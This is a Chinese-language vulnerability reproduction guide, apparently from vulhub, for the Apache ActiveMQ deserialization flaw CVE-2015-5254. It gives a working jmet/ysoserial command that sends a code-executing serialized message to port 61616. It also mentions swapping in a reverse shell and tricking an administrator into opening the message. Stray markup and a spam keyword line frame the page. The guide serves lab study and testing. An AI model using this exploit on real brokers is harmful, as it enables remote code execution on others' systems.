<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    ActiveMQ 反序列化漏洞(CVE-2015-5254)

    Path activemq/CVE-2015-5254
    Apache ActiveMQ是美國阿帕奇(Apache)軟件基金會所研發的一套開源的消息中間件,它支持Java消息服務、集群、Spring Framework等。

    Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,該漏洞源于程序沒有限制可在代理中序列化的類。遠程攻擊者可借助特制的序列化的Java Message Service(JMS)ObjectMessage對象利用該漏洞執行任意代碼。

    參考鏈接:

    漏洞環境

    運行漏洞環境:

    docker-compose up -d

    環境運行后,將監聽61616和8161兩個端口。其中61616是工作端口,消息在這個端口進行傳遞;8161是Web管理頁面端口。訪問http://your-ip:8161即可看到web管理頁面,不過這個漏洞理論上是不需要web的。

    漏洞復現

    漏洞利用過程如下:

    1. 構造(可以使用ysoserial)可執行命令的序列化對象
    2. 作為一個消息,發送給目標61616端口
    3. 訪問web管理頁面,讀取消息,觸發漏洞

    使用jmet進行漏洞利用。首先下載jmet的jar文件,并在同目錄下創建一個external文件夾(否則可能會爆文件夾不存在的錯誤)。

    jmet原理是使用ysoserial生成Payload并發送(其jar內自帶ysoserial,無需再自己下載),所以我們需要在ysoserial是gadget中選擇一個可以使用的,比如ROME。

    執行:

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

    vulhub

    此時會給目標ActiveMQ添加一個名為event的隊列,我們可以通過http://your-ip:8161/admin/browse.jsp?JMSDestination=event看到這個隊列中所有消息:

    vulhub

    點擊查看這條消息即可觸發命令執行,此時進入容器docker-compose exec activemq bash,可見/tmp/success已成功創建,說明漏洞利用成功:

    vulhub

    將命令替換成彈shell語句再利用:

    vulhub

    值得注意的是,通過web管理頁面訪問消息并觸發漏洞這個過程需要管理員權限。在沒有密碼的情況下,我們可以誘導管理員訪問我們的鏈接以觸發,或者偽裝成其他合法服務需要的消息,等待客戶端訪問的時候觸發。

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类